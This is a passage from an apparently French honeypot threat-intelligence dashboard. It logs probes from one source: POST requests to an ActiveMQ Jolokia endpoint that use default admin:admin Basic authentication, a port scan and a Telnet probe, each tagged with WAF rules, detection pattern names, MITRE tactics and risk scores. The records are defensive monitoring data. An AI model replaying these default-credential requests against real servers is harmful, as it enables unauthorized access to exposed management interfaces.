"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
2323
|
—
|
Scan de ports
port scan syn · port 2323 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
Protocole
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2323
Chemin / cible
—
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "Nodestop LLC",
"service": null,
"app_proto": null,
"asn": 400536,
"country": "US",
"dst_port": 2323,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "0a9b74886e486ba4acbe70b57f1ae28f3c04d198",
"event_fingerprint": "8363142c9798ea7690238f7a7bcb010f142371b5",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": false,
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 2323,
"risk_score": 42
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "59bee7d037e67d3a6bbb977c7430d7e2e1235718",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"target_port_label": "2323",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 2323,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"evidence_snippet": null,
"target_port_label": "2323",
"emulator_service": null,
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "2323"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"port:2323",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
23 · Telnet
|
telnet
|
Sonde Telnet (23/TCP)
port 23 tcp · via Telnet:23 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
TELNET
WAF
—
Recommandation
Surveiller
Tags
net_telnet_probe
telnet_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
23
Chemin / cible
—
Preuve honeypot — Sonde Telnet (23/TCP)
Connexion détectée sur le port 23 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_23_tcp » (signaux protocolaires) · confiance 55%
Confiance classification
63%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "fffb01fffb03fffd180d0a5562756e74752032322e3034204c54530d0a686f6e6579706f74206c6f67696e3a20",
"emulator_response_len": 45,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Nodestop LLC",
"service": "telnet",
"app_proto": "telnet",
"asn": 400536,
"country": "US",
"dst_port": 23,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "ee98e358747c5d752a0eb3d3b34c59d0ffe7f883",
"event_fingerprint": "79b983d64b1c5573cc70fb9163374500a6810d67",
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"confidence": 0.63,
"classification_confidence": 0.63,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": true,
"named_candidate": "telnet_probe",
"service_name": "telnet",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "2bb94c377622e6c9a2e704e9148568af"
},
"target_context": {
"dst_port": 23,
"service": "telnet",
"service_name": "telnet",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "375a927bb9bbd2eb33edd9b4264c0c0b9afc3f8d",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"classification_reason_label_fr": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 63,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "telnet",
"service_label_fr": "Telnet",
"dst_port": 23,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-telnet",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 63 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
